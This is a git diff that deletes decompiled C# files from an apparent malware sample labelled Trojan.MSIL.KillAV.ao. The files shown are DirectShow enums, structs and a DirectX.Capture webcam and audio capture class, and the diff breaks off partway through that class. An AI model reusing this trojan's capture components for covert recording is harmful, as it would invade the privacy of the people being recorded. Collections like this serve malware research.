a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/SeekingFlags.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/SeekingFlags.cs deleted file mode 100644 index 29ea4169..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/SeekingFlags.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.SeekingFlags -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [Flags] - public enum SeekingFlags - { - NoPositioning = 0, - AbsolutePositioning = 1, - RelativePositioning = 2, - IncrementalPositioning = RelativePositioning | AbsolutePositioning, // 0x00000003 - PositioningBitsMask = IncrementalPositioning, // 0x00000003 - SeekToKeyFrame = 4, - ReturnTime = 8, - Segment = 16, // 0x00000010 - NoFlush = 32, // 0x00000020 - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/TunerInputType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/TunerInputType.cs deleted file mode 100644 index 6734e617..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/TunerInputType.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.TunerInputType -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum TunerInputType - { - Cable, - Antenna, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VMR9AspectRatioMode.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VMR9AspectRatioMode.cs deleted file mode 100644 index 40a8ccbf..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VMR9AspectRatioMode.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.VMR9AspectRatioMode -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum VMR9AspectRatioMode : uint - { - None, - LetterBox, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VMRMode.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VMRMode.cs deleted file mode 100644 index cfcb58ba..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VMRMode.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.VMRMode -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum VMRMode : uint - { - Windowed = 1, - Windowless = 2, - Renderless = 4, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VMRMode9.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VMRMode9.cs deleted file mode 100644 index 0abd0131..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VMRMode9.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.VMRMode9 -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum VMRMode9 : uint - { - Windowed = 1, - Windowless = 2, - Renderless = 4, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VfwCompressDialogs.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VfwCompressDialogs.cs deleted file mode 100644 index 0679e129..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VfwCompressDialogs.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.VfwCompressDialogs -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -namespace DShowNET -{ - public enum VfwCompressDialogs - { - Config = 1, - About = 2, - QueryConfig = 4, - QueryAbout = 8, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VideoInfoHeader.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VideoInfoHeader.cs deleted file mode 100644 index eb9c89a5..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VideoInfoHeader.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.VideoInfoHeader -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class VideoInfoHeader - { - public DsRECT SrcRect; - public DsRECT TargetRect; - public int BitRate; - public int BitErrorRate; - public long AvgTimePerFrame; - public BitmapInfoHeader BmiHeader; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VideoInfoHeader2.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VideoInfoHeader2.cs deleted file mode 100644 index a5c5df97..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VideoInfoHeader2.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.VideoInfoHeader2 -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class VideoInfoHeader2 - { - public DsRECT SrcRect; - public DsRECT TargetRect; - public int BitRate; - public int BitErrorRate; - public long AvgTimePerFrame; - public int InterlaceFlags; - public int CopyProtectFlags; - public int PictAspectRatioX; - public int PictAspectRatioY; - public int ControlFlags; - public int Reserved2; - public BitmapInfoHeader BmiHeader; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VideoStreamConfigCaps.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VideoStreamConfigCaps.cs deleted file mode 100644 index a32f09cb..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VideoStreamConfigCaps.cs +++ /dev/null @@ -1,39 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.VideoStreamConfigCaps -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Drawing; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class VideoStreamConfigCaps - { - public Guid Guid; - public AnalogVideoStandard VideoStandard; - public Size InputSize; - public Size MinCroppingSize; - public Size MaxCroppingSize; - public int CropGranularityX; - public int CropGranularityY; - public int CropAlignX; - public int CropAlignY; - public Size MinOutputSize; - public Size MaxOutputSize; - public int OutputGranularityX; - public int OutputGranularityY; - public int StretchTapsX; - public int StretchTapsY; - public int ShrinkTapsX; - public int ShrinkTapsY; - public long MinFrameInterval; - public long MaxFrameInterval; - public int MinBitsPerSecond; - public int MaxBitsPerSecond; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/WaveFormatEx.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/WaveFormatEx.cs deleted file mode 100644 index 3ec757b7..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/WaveFormatEx.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.WaveFormatEx -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class WaveFormatEx - { - public short wFormatTag; - public short nChannels; - public int nSamplesPerSec; - public int nAvgBytesPerSec; - public short nBlockAlign; - public short wBitsPerSample; - public short cbSize; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/AudioCapabilities.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/AudioCapabilities.cs deleted file mode 100644 index 32fa2c27..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/AudioCapabilities.cs +++ /dev/null @@ -1,71 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.AudioCapabilities -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using DShowNET; -using System; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class AudioCapabilities - { - public int MinimumChannels; - public int MaximumChannels; - public int ChannelsGranularity; - public int MinimumSampleSize; - public int MaximumSampleSize; - public int SampleSizeGranularity; - public int MinimumSamplingRate; - public int MaximumSamplingRate; - public int SamplingRateGranularity; - - internal AudioCapabilities(IAMStreamConfig audioStreamConfig) - { - if (audioStreamConfig == null) - throw new ArgumentNullException(nameof (audioStreamConfig)); - AMMediaType mediaType = (AMMediaType) null; - IntPtr num = IntPtr.Zero; - try - { - int piCount; - int piSize; - int numberOfCapabilities = audioStreamConfig.GetNumberOfCapabilities(out piCount, out piSize); - if (numberOfCapabilities != 0) - Marshal.ThrowExceptionForHR(numberOfCapabilities); - if (piCount <= 0) - throw new NotSupportedException("This audio device does not report capabilities."); - if (piSize > Marshal.SizeOf(typeof (AudioStreamConfigCaps))) - throw new NotSupportedException("Unable to retrieve audio device capabilities. This audio device requires a larger AudioStreamConfigCaps structure."); - if (piCount <= 1) - ; - num = Marshal.AllocCoTaskMem(Marshal.SizeOf(typeof (AudioStreamConfigCaps))); - IntPtr pmt; - int streamCaps = audioStreamConfig.GetStreamCaps(0, out pmt, num); - if (streamCaps != 0) - Marshal.ThrowExceptionForHR(streamCaps); - mediaType = (AMMediaType) Marshal.PtrToStructure(pmt, typeof (AMMediaType)); - AudioStreamConfigCaps structure = (AudioStreamConfigCaps) Marshal.PtrToStructure(num, typeof (AudioStreamConfigCaps)); - this.MinimumChannels = structure.MinimumChannels; - this.MaximumChannels = structure.MaximumChannels; - this.ChannelsGranularity = structure.ChannelsGranularity; - this.MinimumSampleSize = structure.MinimumBitsPerSample; - this.MaximumSampleSize = structure.MaximumBitsPerSample; - this.SampleSizeGranularity = structure.BitsPerSampleGranularity; - this.MinimumSamplingRate = structure.MinimumSampleFrequency; - this.MaximumSamplingRate = structure.MaximumSampleFrequency; - this.SamplingRateGranularity = structure.SampleFrequencyGranularity; - } - finally - { - if (num != IntPtr.Zero) - Marshal.FreeCoTaskMem(num); - IntPtr zero = IntPtr.Zero; - if (mediaType != null) - DsUtils.FreeAMMediaType(mediaType); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/AudioSource.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/AudioSource.cs deleted file mode 100644 index ca9ef7c4..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/AudioSource.cs +++ /dev/null @@ -1,57 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.AudioSource -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using DShowNET; -using System; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class AudioSource : Source - { - internal IPin Pin; - - internal AudioSource(IPin pin) - { - this.Pin = pin is IAMAudioInputMixer ? pin : throw new NotSupportedException("The input pin does not support the IAMAudioInputMixer interface"); - this.name = this.getName(pin); - } - - public override bool Enabled - { - get - { - bool pfEnable; - ((IAMAudioInputMixer) this.Pin).get_Enable(out pfEnable); - return pfEnable; - } - set => ((IAMAudioInputMixer) this.Pin).put_Enable(value); - } - - private string getName(IPin pin) - { - string name = "Unknown pin"; - PinInfo pInfo = new PinInfo(); - int errorCode = pin.QueryPinInfo(out pInfo); - if (errorCode == 0) - name = pInfo.name ?? ""; - else - Marshal.ThrowExceptionForHR(errorCode); - if (pInfo.filter != null) - Marshal.ReleaseComObject((object) pInfo.filter); - pInfo.filter = (IBaseFilter) null; - return name; - } - - public override void Dispose() - { - if (this.Pin != null) - Marshal.ReleaseComObject((object) this.Pin); - this.Pin = (IPin) null; - base.Dispose(); - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Capture.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Capture.cs deleted file mode 100644 index 56b78524..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Capture.cs +++ /dev/null @@ -1,925 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.Capture -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using DShowNET; -using System; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Threading; -using System.Windows.Forms; - -namespace DirectX.Capture -{ - public class Capture : Form, ISampleGrabberCB - { - private const int WM_GRAPHNOTIFY = 32769; - protected DirectX.Capture.Capture.GraphState graphState = DirectX.Capture.Capture.GraphState.Null; - protected bool isPreviewRendered = false; - protected bool isCaptureRendered = false; - protected bool wantPreviewRendered = false; - protected bool wantCaptureRendered = false; - protected bool wantCaptureFrame = false; - protected int rotCookie = 0; - protected Filter videoDevice = (Filter) null; - protected Filter audioDevice = (Filter) null; - protected Filter videoCompressor = (Filter) null; - protected Filter audioCompressor = (Filter) null; - protected string filename = ""; - protected Control previewWindow = (Control) null; - protected VideoCapabilities videoCaps = (VideoCapabilities) null; - protected AudioCapabilities audioCaps = (AudioCapabilities) null; - protected SourceCollection videoSources = (SourceCollection) null; - protected SourceCollection audioSources = (SourceCollection) null; - protected PropertyPageCollection propertyPages = (PropertyPageCollection) null; - protected Tuner tuner = (Tuner) null; - protected IGraphBuilder graphBuilder; - protected IMediaControl mediaControl; - protected IVideoWindow videoWindow; - protected ICaptureGraphBuilder2 captureGraphBuilder = (ICaptureGraphBuilder2) null; - protected ISampleGrabber sampGrabber = (ISampleGrabber) null; - protected IAMStreamConfig videoStreamConfig = (IAMStreamConfig) null; - protected IAMStreamConfig audioStreamConfig = (IAMStreamConfig) null; - protected IBaseFilter videoDeviceFilter = (IBaseFilter) null; - protected IBaseFilter videoCompressorFilter = (IBaseFilter) null; - protected IBaseFilter audioDeviceFilter = (IBaseFilter) null; - protected IBaseFilter audioCompressorFilter = (IBaseFilter) null; - protected IBaseFilter muxFilter = (IBaseFilter) null; - protected IBaseFilter baseGrabFlt = (IBaseFilter) null; - protected IFileSinkFilter fileWriterFilter = (IFileSinkFilter) null; - protected VideoInfoHeader videoInfoHeader; - protected byte[] savedArray; - protected bool capturedFrame = false; - protected int bufferedSize; - protected bool captured = true; - protected bool firstFrame = true; - protected bool renderStream = false; - private IMediaEventEx mediaEvt; - public PictureBox ImageCaptured; - - public bool Capturing => this.graphState == DirectX.Capture.Capture.GraphState.Capturing; - - public bool Cued => this.isCaptureRendered && this.graphState == DirectX.Capture.Capture.GraphState.Rendered; - - public bool Stopped => this.graphState != DirectX.Capture.Capture.GraphState.Capturing; - - public string Filename - { - get => this.filename; - set - { - this.assertStopped(); - this.filename = value; - if (this.fileWriterFilter == null) - return; - AMMediaType pmt = new AMMediaType(); - int curFile = this.fileWriterFilter.GetCurFile(out string _, pmt); - if (curFile < 0) - Marshal.ThrowExceptionForHR(curFile); - if (pmt.formatSize > 0) - Marshal.FreeCoTaskMem(pmt.formatPtr); - int errorCode = this.fileWriterFilter.SetFileName(this.filename, pmt); - if (errorCode < 0) - Marshal.ThrowExceptionForHR(errorCode); - } - } - - public Control PreviewWindow - { - get => this.previewWindow; - set - { - this.assertStopped(); - this.derenderGraph(); - this.previewWindow = value; - this.wantPreviewRendered = this.previewWindow != null && this.videoDevice != null; - this.renderStream = false; - this.renderGraph(); - this.startPreviewIfNeeded(); - } - } - - public VideoCapabilities VideoCaps - { - get - { - if (this.videoCaps == null) - { - if (this.videoStreamConfig != null) - { - try - { - this.videoCaps = new VideoCapabilities(this.videoStreamConfig); - } - catch (Exception ex) - { - } - } - } - return this.videoCaps; - } - } - - public AudioCapabilities AudioCaps - { - get - { - if (this.audioCaps == null) - { - if (this.audioStreamConfig != null) - { - try - { - this.audioCaps = new AudioCapabilities(this.audioStreamConfig); - } - catch (Exception ex) - { - } - } - } - return this.audioCaps; - } - } - - public Filter VideoDevice => this.videoDevice; - - public Filter AudioDevice => this.audioDevice; - - public Filter VideoCompressor - { - get => this.videoCompressor; - set - { - this.assertStopped(); - this.destroyGraph(); - this.videoCompressor = value; - this.renderGraph(); - this.startPreviewIfNeeded(); - } - } - - public Filter AudioCompressor - { - get => this.audioCompressor; - set - { - this.assertStopped(); - this.destroyGraph(); - this.audioCompressor = value; - this.renderGraph(); - this.startPreviewIfNeeded(); - } - } - - public Source VideoSource - { - get => this.VideoSources.CurrentSource; - set => this.VideoSources.CurrentSource = value; - } - - public Source AudioSource - { - get => this.AudioSources.CurrentSource; - set => this.AudioSources.CurrentSource = value; - } - - public SourceCollection VideoSources - { - get - { - if (this.videoSources == null) - { - try - { - this.videoSources = this.videoDevice == null ? new SourceCollection() : new SourceCollection(this.captureGraphBuilder, this.videoDeviceFilter, true); - } - catch (Exception ex) - { - } - } - return this.videoSources; - } - } - - public SourceCollection AudioSources - { - get - { - if (this.audioSources == null) - { - try - { - this.audioSources = this.audioDevice == null ? new SourceCollection() : new SourceCollection(this.captureGraphBuilder, this.audioDeviceFilter, false); - } - catch (Exception ex) - { - } - } - return this.audioSources; - } - } - - public PropertyPageCollection PropertyPages - { - get - { - if (this.propertyPages == null) - { - try - { - this.propertyPages = new PropertyPageCollection(this.captureGraphBuilder, this.videoDeviceFilter, this.audioDeviceFilter, this.videoCompressorFilter, this.audioCompressorFilter, this.VideoSources, this.AudioSources); - } - catch (Exception ex) - { - } - } - return this.propertyPages; - } - } - - public Tuner Tuner => this.tuner; - - public double FrameRate - { - get => 10000000.0 / (double) (long) this.getStreamConfigSetting(this.videoStreamConfig, "AvgTimePerFrame"); - set => this.setStreamConfigSetting(this.videoStreamConfig, "AvgTimePerFrame", (object) (long) (10000000.0 / value)); - } - - public Size FrameSize - { - get - { - BitmapInfoHeader streamConfigSetting = (BitmapInfoHeader) this.getStreamConfigSetting(this.videoStreamConfig, "BmiHeader"); - return new Size(streamConfigSetting.Width, streamConfigSetting.Height); - } - set => this.setStreamConfigSetting(this.videoStreamConfig, "BmiHeader", (object) ((BitmapInfoHeader) this.getStreamConfigSetting(this.videoStreamConfig, "BmiHeader") with - { - Width = value.Width, - Height = value.Height - })); - } - - public short AudioChannels - { - get => (short) this.getStreamConfigSetting(this.audioStreamConfig, "nChannels"); - set => this.setStreamConfigSetting(this.audioStreamConfig, "nChannels", (object) value); - } - - public int AudioSamplingRate - { - get => (int) this.getStreamConfigSetting(this.audioStreamConfig, "nSamplesPerSec"); - set => this.setStreamConfigSetting(this.audioStreamConfig, "nSamplesPerSec", (object) value); - } - - public short AudioSampleSize - { - get => (short) this.getStreamConfigSetting(this.audioStreamConfig, "wBitsPerSample"); - set => this.setStreamConfigSetting(this.audioStreamConfig, "wBitsPerSample", (object) value); - } - - public event EventHandler CaptureComplete; - - public event DirectX.Capture.Capture.FrameCapHandler FrameCaptureComplete; - - public Capture(Filter videoDevice, Filter audioDevice) - { - this.videoDevice = videoDevice; - this.audioDevice = audioDevice; - this.Filename = this.getTempFilename(); - this.ImageCaptured = new PictureBox(); - this.createGraph(); - } - - ~Capture() => this.Dispose(); - - public void Cue() - { - this.assertStopped(); - this.wantCaptureRendered = true; - this.renderGraph(); - int errorCode = this.mediaControl.Pause(); - if (errorCode == 0) - return; - Marshal.ThrowExceptionForHR(errorCode); - } - - public void Start() - { - this.Stop(); - this.firstFrame = false; - this.assertStopped(); - this.wantCaptureRendered = true; - this.renderStream = true; - this.renderGraph(); - int errorCode = this.mediaControl.Run(); - if (errorCode != 0) - Marshal.ThrowExceptionForHR(errorCode); - this.graphState = DirectX.Capture.Capture.GraphState.Capturing; - } - - public void Stop() - { - if (this.mediaControl != null) - this.mediaControl.Stop(); - this.wantCaptureRendered = false; - this.wantPreviewRendered = true; - if (this.graphState == DirectX.Capture.Capture.GraphState.Capturing) - { - this.graphState = DirectX.Capture.Capture.GraphState.Rendered; - if (this.CaptureComplete != null) - this.CaptureComplete((object) this, (EventArgs) null); - } - this.firstFrame = true; - this.renderStream = false; - try - { - this.renderGraph(); - } - catch - { - } - try - { - this.startPreviewIfNeeded(); - } - catch - { - } - } - - public void DisposeCapture() - { - this.wantPreviewRendered = false; - this.wantCaptureRendered = false; - this.CaptureComplete = (EventHandler) null; - try - { - this.destroyGraph(); - } - catch - { - } - if (this.videoSources != null) - this.videoSources.Dispose(); - this.videoSources = (SourceCollection) null; - if (this.audioSources != null) - this.audioSources.Dispose(); - this.audioSources = (SourceCollection) null; - } - - [STAThread] - public void CaptureFrame() - { - int num; - if (this.firstFrame) - { - this.assertStopped(); - this.renderStream = true; - this.renderGraph(); - num = this.mediaControl.Run(); - this.firstFrame = false; - } - this.captured = false; - if (this.savedArray == null) - { - int imageSize = this.videoInfoHeader.BmiHeader.ImageSize; - if (imageSize < 1000 || imageSize > 16000000) - return; - this.savedArray = new byte[imageSize + 64000]; - } - num = this.sampGrabber.SetCallback((ISampleGrabberCB) this, 1); - } - - public void RenderPreview() - { - this.assertStopped(); - this.renderStream = true; - this.renderGraph(); - this.mediaControl.Run(); - } - - protected void createGraph() - { - object obj = (object) null; - if (this.graphState >= DirectX.Capture.Capture.GraphState.Created) - return; - GC.Collect(); - this.graphBuilder = (IGraphBuilder) Activator.CreateInstance(System.Type.GetTypeFromCLSID(Clsid.FilterGraph, true)); - Guid captureGraphBuilder2 = Clsid.CaptureGraphBuilder2; - Guid guid1 = typeof (ICaptureGraphBuilder2).GUID; - this.captureGraphBuilder = (ICaptureGraphBuilder2) DsBugWO.CreateDsInstance(ref captureGraphBuilder2, ref guid1); - 